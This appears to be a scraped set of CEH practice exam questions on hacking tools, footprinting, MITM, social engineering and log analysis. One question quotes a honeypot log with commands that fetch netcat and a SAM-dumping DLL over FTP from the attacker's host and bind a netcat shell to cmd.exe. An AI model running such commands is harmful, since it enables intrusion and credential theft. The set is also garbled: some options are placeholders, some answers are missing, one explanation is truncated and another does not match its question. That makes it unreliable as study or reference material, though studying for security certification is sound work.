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Q1. Johnny is a member of the hacking group orpheus1. He is currently working on breaking into the Department of Defense’s front end exchange server. He was able to get into the server, located in a DMZ, by using an unused service account that had a very weak password that he was able to guess. Johnny wants to crack the administrator password, but does not have a lot of time to crack it. He wants to use a tool that already has the LM hashes computed for all possible permutations of the administrator password.
What tool would be best used to accomplish this?
A. RainbowCrack
B. SMBCrack
C. SmurfCrack
D. PSCrack
Answer: A
Explanation: RainbowCrack is a general propose implementation of Philippe Oechslin's faster time-memory trade-off technique. In short, the RainbowCrack tool is a hash cracker. A traditional brute force cracker try all possible plaintexts one by one in cracking time. It is time consuming to break complex password in this way. The idea of time-memory trade-off is to do all cracking time computation in advance and store the result in files so called "rainbow table". It does take a long time to precompute the tables. But once the one time precomputation is finished, a time-memory trade-off cracker can be hundreds of times faster than a brute force cracker, with the help of precomputed tables.
Topic 14, SQL Injection
380. The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The file Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below:
“cmd1.exe /c open 213.116.251.162 >ftpcom”
“cmd1.exe /c echo johna2k >>ftpcom”
“cmd1.exe /c echo haxedj00 >>ftpcom”
“cmd1.exe /c echo get nc.exe >>ftpcom”
“cmd1.exe /c echo get samdump.dll >>ftpcom”
“cmd1.exe /c echo quit >>ftpcom”
“cmd1.exe /c ftp –s:ftpcom”
“cmd1.exe /c nc –l –p 6969 e-cmd1.exe”
What can you infer from the exploit given?
A. It is a local exploit where the attacker logs in using username johna2k.
B. There are two attackers on the system – johna2k and haxedj00.
C. The attack is a remote exploit and the hacker downloads three files.
D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port.
Q2. Where should a security tester be looking for information that could be used by an attacker against an organization? (Select all that apply)
A. CHAT rooms
B. WHOIS database
C. News groups
D. Web sites E. Search engines
F. Organization’s own web site
Answer: ABCDEF
Explanation: A Security tester should search for information everywhere that he/she can access.
You never know where you find that small piece of information that could penetrate a strong defense.
Q3. Attacking well-known system defaults is one of the most common hacker attacks. Most software is shipped with a default configuration that makes it easy to install and setup the application. You should change the default settings to secure the system.
Which of the following is NOT an example of default installation?
A. Many systems come with default user accounts with well-known passwords that administrators forget to change
B. Often, the default location of installation files can be exploited which allows a hacker to retrieve a file from the system
C. Many software packages come with "samples" that can be exploited, such as the sample programs on IIS web services
D. Enabling firewall and anti-virus software on the local system
Answer: D
Q4. ou are footprinting Acme.com to gather competitive intelligence. You visit the acme.com websire for contact information and telephone number numbers but do not find it listed there. You know that they had the entire staff directory listed on their website 12 months ago but now it is not there. How would it be possible for you to retrieve information from the website that is outdated?
A. Visit google search engine and view the cached copy.
B. Visit Archive.org site to retrieve the Internet archive of the acme website.
C. Crawl the entire website and store them into your computer.
D. Visit the company’s partners and customers website for this information.
Answer: B
Explanation: The Internet Archive (IA) is a non-profit organization dedicated to maintaining an archive of Web and multimedia resources. Located at the Presidio in San Francisco, California, this archive includes "snapshots of the World Wide Web" (archived copies of pages, taken at various points in time), software, movies, books, and audio recordings (including recordings of live concerts from bands that allow it). This site is found at www.archive.org.
Q5. Eric has discovered a fantastic package of tools named Dsniff on the Internet. He has learnt to use these tools in his lab and is now ready for real world exploitation. He was able to effectively intercept communications between the two entities and establish credentials with both sides of the connections. The two remote ends of the communication never notice that Eric is relaying the information between the two.
What would you call this attack?
A. Interceptor
B. Man-in-the-middle
C. ARP Proxy
D. Poisoning Attack
Answer: B
Explanation: A man-in-the-middle attack (MITM) is an attack in which an attacker is able to read, insert and modify at will, messages between two parties without either party knowing that the link between them has been compromised.
Q6. What is the correct order of steps in CEH System Hacking Cycle?
A. Option A
B. Option B
C. Option C
D. Option D
Answer: A
Q7. What are the six types of social engineering?(Choose six).
A. Spoofing
B. Reciprocation
C. Social Validation
D. Commitment
E. Friendship
F. Scarcity
G. Authority
H. Accountability
Answer: BCDEFG
Explanation: All social engineering is performed by taking advantage of human nature. For in-depth information on the subject review, read Robert Cialdini's book, Influence: Science and Practice.
Q8. Theresa is the chief information security officer for her company, a large shipping company based out of New York City. In the past, Theresa and her IT employees manually checked the status of client computers on the network to see if they had the most recent Microsoft updates. Now that the company has added over 100 more clients to accommodate new departments, Theresa must find some kind of tool to see whether the clients are up-to-date or not. Theresa decides to use Qfecheck to monitor all client computers. When Theresa runs the tool, she is repeatedly told that the software does not have the proper permissions to scan. Theresa is worried that the operating system hardening that she performs on all clients is keeping the software from scanning the necessary registry keys on the client computers.
What registry key permission should Theresa check to ensure that Qfecheck runs properly?
A. In order for Qfecheck to run properly, it must have enough permission to read
B. She needs to check the permissions of the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates registry key
C. Theresa needs to look over the permissions of the registry key
D. The registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Microsoft must be checked
Answer: B
Explanation: Qfecheck check the registry HKLM\Software\Microsoft\Updates
Q9. What command would you type to OS fingerprint a server using the command line?
A. Option A
B. Option B
C. Option C
D. Option D
Answer: C
Q10. The follows is an email header. What address is that of the true originator of the message?
Return-Path: <bgates@microsoft.com>
Received: from smtp.com (fw.emumail.com [215.52.220.122].
by raq-221-181.ev1.net (8.10.2/8.10.2. with ESMTP id h78NIn404807
for <mikeg@thesolutionfirm.com>; Sat, 9 Aug 2003 18:18:50 -0500
Received: (qmail 12685 invoked from network.; 8 Aug 2003 23:25:25 -0000
Received: from ([19.25.19.10].
by smtp.com with SMTP
Received: from unknown (HELO CHRISLAPTOP. (168.150.84.123.
by localhost with SMTP; 8 Aug 2003 23:25:01 -0000
From: "Bill Gates" <bgates@microsoft.com>
To: "mikeg" <mikeg@thesolutionfirm.com>
Subject: We need your help!
Date: Fri, 8 Aug 2003 19:12:28 -0400
Message-ID: <51.32.123.21@CHRISLAPTOP>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0052_01C35DE1.03202950"
X-Priority: 3 (Normal.
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Importance: Normal
A. 19.25.19.10
B. 51.32.123.21
C. 168.150.84.123
D. 215.52.220.122
E. 8.10.2/8.10.2
Answer: C
Explanation: Spoofing can be easily achieved by manipulating the "from" name field, however, it is much more difficult to hide the true source address. The "received from" IP address
168.150.84.123 is the true source of the
Q11. Which of the following keyloggers cannot be detected by anti-virus or anti-spyware products?
A. Covert keylogger
B. Stealth keylogger
C. Software keylogger
D. Hardware keylogger
Answer: D
Explanation: As the hardware keylogger never interacts with the Operating System it is undetectable by anti-virus or anti-spyware products.
Q12. Which type of attack is port scanning?
A. Web server attack
B. Information gathering
C. Unauthorized access
D. Denial of service attack
Answer: B
Q13. A digital signature is simply a message that is encrypted with the public key instead of the private key.
A. True
B. False
Answer: B
Explanation: Digital signatures enable the recipient of information to verify the authenticity of the information's origin, and also verify that the information is intact. Thus, public key digital signatures provide authentication and data integrity. A digital signature also provides non-repudiation, which means that it prevents the sender from claiming that he or she did not actually send the information. Instead of encrypting information using someone else's public key, you encrypt it with your private key. If the information can be decrypted with your public key, then it must have originated with you.
Q14. The following excerpt is taken from a honeypot log. The log captures activities across three days. There are several intrusion attempts; however, a few are successful. From the options given below choose the one best interprets the following entry:
Apr 26 06:43:05 [6282] IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
(Note: The objective of this question is to test whether the student can read basic information from log entries and interpret the nature of attack.)
Interpret the following entry:
Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107.53
A. An IDS evasion technique
B. A buffer overflow attempt
C. A DNS zone transfer
D. Data being retrieved from 63.226.81.13.
Answer: B
Explanation: The IDS log file is depicting numerous attacks, however, most of them are from different attackers, in reference to the attack in question, he is trying to mask his activity by trying to act legitimate, during his session on the honeypot, he changes users two times by using the "su" command, but never triess to attempt anything to severe.